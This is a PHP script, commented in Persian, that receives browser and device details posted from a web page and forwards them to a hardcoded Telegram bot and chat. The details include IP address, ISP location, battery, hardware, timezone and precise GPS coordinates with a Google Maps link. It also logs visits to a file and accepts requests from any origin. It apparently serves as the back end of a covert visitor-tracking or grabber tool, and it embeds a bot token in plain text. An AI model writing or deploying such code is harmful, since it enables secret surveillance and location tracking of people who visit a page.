<?php
// collect_device_info.php

// تنظیمات ربات تلگرام
$botToken = "7821243954:AAFkVmjJCHH25j1loPVfA2woA3ynO4iQMmg";
$chatId = "-1003193812415";

// تنظیمات CORS برای اجازه دسترسی از هر دامنه
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json');

// اگر درخواست OPTIONS است، پاسخ مناسب بده
if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    http_response_code(200);
    exit;
}

// تابع برای ارسال پیام به تلگرام
function sendTelegramMessage($text, $botToken, $chatId) {
    try {
        $url = "https://api.telegram.org/bot{$botToken}/sendMessage";
        $data = [
            'chat_id' => $chatId,
            'text' => $text,
            'parse_mode' => 'HTML'
        ];
        
        $options = [
            'http' => [
                'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
                'method' => 'POST',
                'content' => http_build_query($data),
                'timeout' => 3
            ]
        ];
        
        $context = stream_context_create($options);
        $result = @file_get_contents($url, false, $context);
        
        return $result !== false;
    } catch (Exception $e) {
        error_log("Telegram send error: " . $e->getMessage());
        return false;
    }
}

// دریافت اطلاعات از درخواست
$rawData = file_get_contents('php://input');
parse_str($rawData, $postData);

// اگر داده‌ای دریافت نشده، از POST استفاده کن
if (empty($postData)) {
    $postData = $_POST;
}

// پردازش اطلاعات دریافتی
$userAgent = $postData['userAgent'] ?? 'Unknown';
$platform = $postData['platform'] ?? 'Unknown';
$languages = $postData['languages'] ?? 'Unknown';
$hardwareConcurrency = $postData['hardwareConcurrency'] ?? 'Unknown';
$deviceMemory = $postData['deviceMemory'] ?? 'Unknown';
$screenWidth = $postData['screenWidth'] ?? 'Unknown';
$screenHeight = $postData['screenHeight'] ?? 'Unknown';
$colorDepth = $postData['colorDepth'] ?? 'Unknown';
$timezone = $postData['timezone'] ?? 'Unknown';
$batteryLevel = $postData['batteryLevel'] ?? 'Unknown';
$charging = $postData['charging'] ?? 'false';
$ipAddress = $postData['ipAddress'] ?? ($_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Unknown');
$timestamp = $postData['timestamp'] ?? date('Y-m-d H:i:s');
$referrer = $postData['referrer'] ?? 'Unknown';
$url = $postData['url'] ?? 'Unknown';
$title = $postData['title'] ?? 'Unknown';

// پردازش اطلاعات IP در صورت وجود
$ipInfo = [];
if (isset($postData['ipInfo']) && !empty($postData['ipInfo'])) {
    $ipInfo = json_decode($postData['ipInfo'], true);
}

// ایجاد پیام برای ارسال
$message = "📱 <b>Device Information Collected</b>\n\n";
$message .= "🕒 <b>Time:</b> " . $timestamp . "\n";
$message .= "🌐 <b>IP Address:</b> <code>" . htmlspecialchars($ipAddress) . "</code>\n";

// افزودن اطلاعات موقعیت IP اگر موجود باشد
if (!empty($ipInfo)) {
    $message .= "📍 <b>Location:</b> " . 
        ($ipInfo['city'] ?? 'Unknown') . ", " . 
        ($ipInfo['region'] ?? 'Unknown') . ", " . 
        ($ipInfo['country_name'] ?? 'Unknown') . "\n";
    $message .= "🏢 <b>ISP:</b> " . ($ipInfo['org'] ?? 'Unknown') . "\n";
}

$message .= "🔋 <b>Battery:</b> " . $batteryLevel . "% (" . ($charging === 'true' ? 'Charging' : 'Not Charging') . ")\n";
$message .= "💻 <b>Platform:</b> " . htmlspecialchars($platform) . "\n";
$message .= "📏 <b>Screen:</b> " . $screenWidth . "x" . $screenHeight . " (" . $colorDepth . "-bit)\n";
$message .= "🧠 <b>CPU Cores:</b> " . $hardwareConcurrency . "\n";
$message .= "💾 <b>Memory:</b> " . $deviceMemory . " GB\n";
$message .= "🗣️ <b>Languages:</b> " . htmlspecialchars($languages) . "\n";
$message .= "🕐 <b>Timezone:</b> " . htmlspecialchars($timezone) . "\n";
$message .= "🔗 <b>Referrer:</b> " . htmlspecialchars($referrer) . "\n";
$message .= "📄 <b>Page:</b> " . htmlspecialchars($title) . "\n";
$message .= "🌐 <b>URL:</b> " . htmlspecialchars($url) . "\n";

// افزودن اطلاعات موقعیت جغرافیایی اگر موجود باشد
if (isset($postData['latitude']) && isset($postData['longitude'])) {
    $message .= "🗺️ <b>Geolocation:</b> " . 
        $postData['latitude'] . ", " . $postData['longitude'] . 
        " (Accuracy: " . ($postData['accuracy'] ?? 'Unknown') . "m)\n";
    $message .= "🔗 <a href='https://maps.google.com/?q=" . 
        $postData['latitude'] . "," . $postData['longitude'] . "'>View on Google Maps</a>\n";
}

$message .= "\n🔍 <b>User Agent:</b>\n<code>" . htmlspecialchars($userAgent) . "</code>";

// ارسال پیام به تلگرام
$sendResult = sendTelegramMessage($message, $botToken, $chatId);

// ذخیره اطلاعات در فایل
$logData = "[" . date('Y-m-d H:i:s') . "] IP: " . $ipAddress . 
    " | Page: " . $title . 
    " | Battery: " . $batteryLevel . "%\n";

@file_put_contents('device_logs.txt', $logData, FILE_APPEND | LOCK_EX);

// پاسخ به درخواست
echo json_encode(['status' => 'success', 'message' => 'Data collected successfully']);
exit;
?>